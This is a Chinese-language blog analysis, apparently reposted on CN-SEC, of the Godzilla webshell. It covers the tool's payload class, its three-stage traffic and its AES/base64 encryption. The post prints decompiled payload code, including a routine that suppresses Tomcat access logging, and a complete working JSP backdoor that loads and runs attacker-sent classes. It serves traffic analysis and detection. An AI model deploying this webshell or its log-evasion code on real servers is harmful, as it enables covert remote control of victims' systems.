}    }    public String getDocBase() {        try {            return this.getRealPath();        } catch (Exception var2) {            return var2.getMessage();        }    }    public static Connection getConnection(String url, String userName, String password) {        Connection connection = null;        try {            Class var10000 = class$8;            if (var10000 == null) {                try {                    var10000 = Class.forName("java.sql.DriverManager");                } catch (ClassNotFoundException var15) {                    throw new NoClassDefFoundError(var15.getMessage());                }                class$8 = var10000;            }            Field[] fields = var10000.getDeclaredFields();            Field field = null;            for(int i = 0; i < fields.length; ++i) {                field = fields[i];                if (field.getName().indexOf("rivers") != -1) {                    var10000 = class$9;                    if (var10000 == null) {                        try {                            var10000 = Class.forName("java.util.List");                        } catch (ClassNotFoundException var14) {                            throw new NoClassDefFoundError(var14.getMessage());                        }                        class$9 = var10000;                    }                    if (var10000.isAssignableFrom(field.getType())) {                        break;                    }                }                field = null;            }            if (field != null) {                field.setAccessible(true);                List drivers = (List)field.get((Object)null);                Iterator iterator = drivers.iterator();                while(iterator.hasNext() && connection == null) {                    try {                        Object object = iterator.next();                        Driver driver = null;                        var10000 = class$10;                        if (var10000 == null) {                            try {                                var10000 = Class.forName("java.sql.Driver");                            } catch (ClassNotFoundException var13) {                                throw new NoClassDefFoundError(var13.getMessage());                            }                            class$10 = var10000;                        }                        if (!var10000.isAssignableFrom(object.getClass())) {                            Field[] driverInfos = object.getClass().getDeclaredFields();                            for(int i = 0; i < driverInfos.length; ++i) {                                var10000 = class$10;                                if (var10000 == null) {                                    try {                                        var10000 = Class.forName("java.sql.Driver");                                    } catch (ClassNotFoundException var12) {                                        throw new NoClassDefFoundError(var12.getMessage());                                    }                                    class$10 = var10000;                                }                                if (var10000.isAssignableFrom(driverInfos[i].getType())) {                                    driverInfos[i].setAccessible(true);                                    driver = (Driver)driverInfos[i].get(object);                                    break;                                }                            }                        }                        if (driver != null) {                            Properties properties = new Properties();                            if (userName != null) {                                properties.put("user", userName);                            }                            if (password != null) {                                properties.put("password", password);                            }                            connection = driver.connect(url, properties);                        }                    } catch (Exception var16) {                    }                }            }        } catch (Exception var17) {        }        return connection;    }    public static String getLocalIPList() {        List ipList = new ArrayList();        try {            Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces();            while(networkInterfaces.hasMoreElements()) {                NetworkInterface networkInterface = (NetworkInterface)networkInterfaces.nextElement();                Enumeration inetAddresses = networkInterface.getInetAddresses();                while(inetAddresses.hasMoreElements()) {                    InetAddress inetAddress = (InetAddress)inetAddresses.nextElement();                    if (inetAddress != null) {                        String ip = inetAddress.getHostAddress();                        ipList.add(ip);                    }                }            }        } catch (Exception var6) {        }        return Arrays.toString(ipList.toArray());    }    public String getRealPath() {        try {            if (this.servletContext != null) {                Class var10001 = this.servletContext.getClass();                Class[] var10003 = new Class[1];                Class var10006 = class$2;                if (var10006 == null) {                    try {                        var10006 = Class.forName("java.lang.String");                    } catch (ClassNotFoundException var3) {                        throw new NoClassDefFoundError(var3.getMessage());                    }                    class$2 = var10006;                }                var10003[0] = var10006;                Method getRealPathMethod = this.getMethodByClass(var10001, "getRealPath", var10003);                if (getRealPathMethod != null) {                    Object retObject = getRealPathMethod.invoke(this.servletContext, "/");                    return retObject != null ? retObject.toString() : "Null";                } else {                    return "no method getRealPathMethod";                }            } else {                return "servletContext is Null";            }        } catch (Exception var4) {            return var4.getMessage();        }    }    public void deleteFiles(File f) throws Exception {        if (f.isDirectory()) {            File[] x = f.listFiles();            for(int i = 0; i < x.length; ++i) {                File fs = x[i];                this.deleteFiles(fs);            }        }        f.delete();    }    Object invoke(Object obj, String methodName, Object[] parameters) {        try {            ArrayList classes = new ArrayList();            if (parameters != null) {                for(int i = 0; i < parameters.length; ++i) {                    Object o1 = parameters[i];                    if (o1 != null) {                        classes.add(o1.getClass());                    } else {                        classes.add((Object)null);                    }                }            }            Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0]));            return method.invoke(obj, parameters);        } catch (Exception var7) {            return null;        }    }    Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {        try {            Method method = this.getMethodByClass(obj.getClass(), methodName, parameterClass);            if (method != null) {                return method.invoke(obj, parameters);            }        } catch (Exception var6) {        }        return null;    }    Method getMethodByClass(Class cs, String methodName, Class[] parameters) {        Method method = null;        while(cs != null) {            try {                method = cs.getDeclaredMethod(methodName, parameters);                method.setAccessible(true);                cs = null;            } catch (Exception var6) {                cs = cs.getSuperclass();            }        }        return method;    }    public static Object getFieldValue(Object obj, String fieldName) throws Exception {        Field f = null;        if (obj instanceof Field) {            f = (Field)obj;        } else {            Method method = null;            Class cs = obj.getClass();            while(cs != null) {                try {                    f = cs.getDeclaredField(fieldName);                    cs = null;                } catch (Exception var6) {                    cs = cs.getSuperclass();                }            }        }        f.setAccessible(true);        return f.get(obj);    }    private void noLog(Object servletContext) {        try {            Object applicationContext = getFieldValue(servletContext, "context");            Object container = getFieldValue(applicationContext, "context");            ArrayList arrayList;            for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) {                arrayList.add(container);            }            label84:            for(int i = 0; i < arrayList.size(); ++i) {                try {                    Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);                    if (pipeline != null) {                        Object valve = this.invoke(pipeline, "getFirst", (Object[])null);                        while(true) {                            while(true) {                                if (valve == null) {                                    continue label84;                                }                                if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null) {                                    Class var10001 = valve.getClass();                                    Class[] var10003 = new Class[1];                                    Class var10006 = class$2;                                    if (var10006 == null) {                                        try {                                            var10006 = Class.forName("java.lang.String");                                        } catch (ClassNotFoundException var12) {                                            throw new NoClassDefFoundError(var12.getMessage());                                        }                                        class$2 = var10006;                                    }                                    var10003[0] = var10006;                                    if (this.getMethodByClass(var10001, "setCondition", var10003) != null) {                                        String condition = (String)this.invoke((String)valve, "getCondition", new Object[0]);                                        condition = condition == null ? "FuckLog" : condition;                                        this.invoke(valve, "setCondition", new Object[]{condition});                                        var10001 = this.servletRequest.getClass();                                        var10003 = new Class[2];                                        var10006 = class$2;                                        if (var10006 == null) {                                            try {                                                var10006 = Class.forName("java.lang.String");                                            } catch (ClassNotFoundException var11) {                                                throw new NoClassDefFoundError(var11.getMessage());                                            }                                            class$2 = var10006;                                        }                                        var10003[0] = var10006;                                        var10006 = class$2;                                        if (var10006 == null) {                                            try {                                                var10006 = Class.forName("java.lang.String");                                            } catch (ClassNotFoundException var10) {                                                throw new NoClassDefFoundError(var10.getMessage());                                            }                                            class$2 = var10006;                                        }                                        var10003[1] = var10006;                                        Method setAttributeMethod = this.getMethodByClass(var10001, "setAttribute", var10003);                                        setAttributeMethod.invoke(condition, condition);                                        valve = this.invoke(valve, "getNext", (Object[])null);                                        continue;                                    }                                }                                if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {                                    valve = this.invoke(valve, "getNext", (Object[])null);                                } else {                                    valve = null;                                }                            }                        }                    }                } catch (Exception var13) {                }            }        } catch (Exception var14) {        }    }    private static Class getClass(String name) {        try {            return Class.forName(name);        } catch (Exception var2) {            return null;        }    }    public static int bytesToInt(byte[] bytes) {        int i = bytes[0] & 255 | (bytes[1] & 255) << 8 | (bytes[2] & 255) << 16 | (bytes[3] & 255) << 24;        return i;    }    public String base64Encode(String data) {        return base64Encode(data.getBytes());    }    public static String base64Encode(byte[] src) {        int off = 0;        int end = src.length;        byte[] dst = new byte[4 * ((src.length + 2) / 3)];        int linemax = -1;        boolean doPadding = true;        char[] base64 = toBase64;        int sp = off;        int slen = (end - off) / 3 * 3;        int sl = off + slen;        if (linemax > 0 && slen > linemax / 4 * 3) {            slen = linemax / 4 * 3;        }        int dp;        int b0;        int b1;        for(dp = 0; sp < sl; sp = b0) {            b0 = Math.min(sp + slen, sl);            b1 = sp;            int bits;            for(int dp0 = dp; b1 < b0; dst[dp0++] = (byte)base64[bits & 63]) {                bits = (src[b1++] & 255) << 16 | (src[b1++] & 255) << 8 | src[b1++] & 255;                dst[dp0++] = (byte)base64[bits >>> 18 & 63];                dst[dp0++] = (byte)base64[bits >>> 12 & 63];                dst[dp0++] = (byte)base64[bits >>> 6 & 63];            }            b1 = (b0 - sp) / 3 * 4;            dp += b1;        }        if (sp < end) {            b0 = src[sp++] & 255;            dst[dp++] = (byte)base64[b0 >> 2];            if (sp == end) {                dst[dp++] = (byte)base64[b0 << 4 & 63];                if (doPadding) {                    dst[dp++] = 61;                    dst[dp++] = 61;                }            } else {                b1 = src[sp++] & 255;                dst[dp++] = (byte)base64[b0 << 4 & 63 | b1 >> 4];                dst[dp++] = (byte)base64[b1 << 2 & 63];                if (doPadding) {                    dst[dp++] = 61;                }            }        }        return new String(dst);    }    public static byte[] base64Decode(String base64Str) {        if (base64Str.length() == 0) {            return new byte[0];        } else {            byte[] src = base64Str.getBytes();            int sp = 0;            int sl = src.length;            int paddings = 0;            int len = sl - sp;            if (src[sl - 1] == 61) {                ++paddings;                if (src[sl - 2] == 61) {                    ++paddings;                }            }            if (paddings == 0 && (len & 3) != 0) {                paddings = 4 - (len & 3);            }            byte[] dst = new byte[3 * ((len + 3) / 4) - paddings];            int[] base64 = new int[256];            Arrays.fill(base64, -1);            int dp;            for(dp = 0; dp < toBase64.length; base64[toBase64[dp]] = dp++) {            }            base64[61] = -2;            dp = 0;            int bits = 0;            int shiftto = 18;            while(sp < sl) {                int b = src[sp++] & 255;                if ((b = base64[b]) < 0 && b == -2) {                    if (shiftto == 6 && (sp == sl || src[sp++] != 61) || shiftto == 18) {                        throw new IllegalArgumentException("Input byte array has wrong 4-byte ending unit");                    }                    break;                }                bits |= b << shiftto;                shiftto -= 6;                if (shiftto < 0) {                    dst[dp++] = (byte)(bits >> 16);                    dst[dp++] = (byte)(bits >> 8);                    dst[dp++] = (byte)bits;                    shiftto = 18;                    bits = 0;                }            }            if (shiftto == 6) {                dst[dp++] = (byte)(bits >> 16);            } else if (shiftto == 0) {                dst[dp++] = (byte)(bits >> 16);                dst[dp++] = (byte)(bits >> 8);            } else if (shiftto == 12) {                throw new IllegalArgumentException("Last unit does not have enough valid bits");            }            if (dp != dst.length) {                byte[] arrayOfByte = new byte[dp];                System.arraycopy(dst, 0, arrayOfByte, 0, Math.min(dst.length, dp));                dst = arrayOfByte;            }            return dst;        }    }}

(通信一)

然后调用sendHttpResponse(),在这里完成对请求(payload.classs的字节码)的加密(通过调用选择的加密器的encode方法),然后做发送

哥斯拉代码分析

哥斯拉代码分析

(1)ApplicationContext.getPayload(this.payload) payloadclass会调用class shells.payloads.下面对应的payload并实例化返回。

哥斯拉代码分析(通信二)

哥斯拉代码分析

哥斯拉代码分析

哥斯拉代码分析

哥斯拉代码分析

这里调用test,在evalFunc中发送了第二次的http请求。funcName="test",数据为参数的parameter.formatEx(),然后做了一次gzip的编码,最后会对请求进行gzip的解码。当返回的字符串为ok的时候,则test就会返回true

下面就代表true

11CD6A8758984163LF/IpkPvM0iJI4wmpBs2DaoBVvcbDMpwuL7nYS3n/k4=6C37AC826A2A04BC

通信三

我这里的代码没找到,但是通过对比第二个和第三个包是可以看到发送了一样的请求

哥斯拉代码分析

哥斯拉代码分析

三次通信触发位置

一 。this.cryptionModel.init(this);//发送payload.classs的字节码

二。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码

三。this.payloadModel.test()//发送填充的parameter参数methodName=test,中间做了填充所以存在乱码

三 流量加解密

post解密

package org.example;import util.functions;public class Main {    static String xc="3c6e0b8a9c15224a";    public static byte[] x(byte[] s,boolean m)    {        try        {javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");        c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));        return c.doFinal(s);    }catch (Exception e){return null;        }    }    public static void main(String[] args) {        String code = "0mQU+S1pFnTz3ttVTnAgJVD/aBwD3NNXL3TfTExo1weKu4KAhhCu6Gn1EQfX1m9g";        byte[] b = functions.base64Decode(code);        byte[] be = x(b,false);        System.out.println(new String(functions.gzipD(be)));    }}

哥斯拉代码分析

response解密

观察这里,这里在数据的前后拼接了md5的前16和后16位,所以流量解密需要进行去除

response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));

哥斯拉代码分析

哥斯拉代码分析

所以这里能看到哥斯拉在JAVA_AES_BASE64的加解密顺序

data -> aes加密->  base64编码->  url编码 -> 加密后的data加密后的data  -> url解码->  base64解码-> aes 解密->  data

四:哥斯拉执行原理

根据我们前面的分析,哥斯拉是基于字节码打入payload类的方式进行的通信执行功能复现。那么哥斯拉如何去处理和获取我们传输的数据呢。其中this.handle()实现具体功能。区分一下两次equals和tostring

哥斯拉代码分析

哥斯拉代码分析

(1)equals(ByteArrayOutputStream)

存储了this.outputStream

哥斯拉代码分析

(2)equals(pageContext)

哥斯拉代码分析

this.handlePayloadContext(obj);获取到request之后获取parameters

哥斯拉代码分析

哥斯拉代码分析

tostring()

获取参数具体的值

哥斯拉代码分析run中调用对应的方法,进行功能实现哥斯拉代码分析

五 哥斯拉webshell后门分析

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{    public X(ClassLoader z){super(z);}    public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }    public byte[] x(byte[] s,boolean m){         try{            javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");            c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));            return c.doFinal(s);         }catch (Exception e){return null; }    }     public static String md5(String s) {        String ret = null;        try {            java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");            m.update(s.getBytes(), 0, s.length());            ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();        } catch (Exception e) {}        return ret;     }     public static String base64Encode(byte[] bs) throws Exception {        Class base64;String value = null;        try {            base64=Class.forName("java.util.Base64");            Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);            value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });        } catch (Exception e) {            try {                 base64=Class.forName("sun.misc.BASE64Encoder");                 Object Encoder = base64.newInstance();                 value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;     }     public static byte[] base64Decode(String bs) throws Exception {        Class base64;byte[] value = null;        try {            base64=Class.forName("java.util.Base64");            Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);            value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });        } catch (Exception e) {            try {                 base64=Class.forName("sun.misc.BASE64Decoder");                 Object decoder = base64.newInstance();                 value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });            } catch (Exception e2) {}        }        return value;     }%><%     try{        byte[] data=base64Decode(request.getParameter(pass));        data=x(data, false);        if (session.getAttribute("payload")==null){            session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));        }else{            request.setAttribute("parameters", new String(data));            Object f=((Class)session.getAttribute("payload")).newInstance();            f.equals(pageContext);            response.getWriter().write(md5.substring(0,16));            response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));            response.getWriter().write(md5.substring(16));}         }catch (Exception e){}%>

上面都是定义的加解密算法,核心还是下面这点

哥斯拉代码分析

(1)获取pass 如果session没有payload属性,就利用自定义classloader加载data,然后设置为payload属性。

(2)后续能获取到以后,就会设置传入的参数,然后实例化payload类

(3)调用核心的equals,tostring() 完成webshell的文件上传,命令执行等功能。

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日00:12:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   哥斯拉代码分析http://cn-sec.com/archives/2040397.html

发表评论

匿名网友 填写信息